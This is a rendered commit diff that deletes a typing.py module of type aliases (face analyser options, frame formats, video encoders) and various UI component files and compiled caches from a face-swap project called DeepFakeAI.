|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/typing.py
DELETED
@@ -1,13 +0,0 @@
|
|
1 |
-
from typing import Any, Literal
|
2 |
-
from insightface.app.common import Face
|
3 |
-
import numpy
|
4 |
-
|
5 |
-
Face = Face
|
6 |
-
Frame = numpy.ndarray[Any, Any]
|
7 |
-
|
8 |
-
FaceRecognition = Literal[ 'reference', 'many' ]
|
9 |
-
FaceAnalyserDirection = Literal[ 'left-right', 'right-left', 'top-bottom', 'bottom-top', 'small-large', 'large-small' ]
|
10 |
-
FaceAnalyserAge = Literal[ 'child', 'teen', 'adult', 'senior' ]
|
11 |
-
FaceAnalyserGender = Literal[ 'male', 'female' ]
|
12 |
-
TempFrameFormat = Literal[ 'jpg', 'png' ]
|
13 |
-
OutputVideoEncoder = Literal[ 'libx264', 'libx265', 'libvpx-vp9', 'h264_nvenc', 'hevc_nvenc' ]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/uis/__init__.py
DELETED
File without changes
|
DeepFakeAI/uis/__pycache__/__init__.cpython-310.pyc
DELETED
Binary file (139 Bytes)
|
|
DeepFakeAI/uis/__pycache__/core.cpython-310.pyc
DELETED
Binary file (2.38 kB)
|
|
DeepFakeAI/uis/__pycache__/typing.cpython-310.pyc
DELETED
Binary file (606 Bytes)
|
|
DeepFakeAI/uis/components/__init__.py
DELETED
File without changes
|
DeepFakeAI/uis/components/__pycache__/__init__.cpython-310.pyc
DELETED
Binary file (150 Bytes)
|
|
DeepFakeAI/uis/components/__pycache__/about.cpython-310.pyc
DELETED
Binary file (614 Bytes)
|
|
DeepFakeAI/uis/components/__pycache__/execution.cpython-310.pyc
DELETED
Binary file (2.3 kB)
|
|
DeepFakeAI/uis/components/__pycache__/face_analyser.cpython-310.pyc
DELETED
Binary file (2.11 kB)
|
|
DeepFakeAI/uis/components/__pycache__/face_selector.cpython-310.pyc
DELETED
Binary file (4.32 kB)
|
|
DeepFakeAI/uis/components/__pycache__/output.cpython-310.pyc
DELETED
Binary file (1.99 kB)
|
|
DeepFakeAI/uis/components/__pycache__/output_settings.cpython-310.pyc
DELETED
Binary file (1.57 kB)
|
|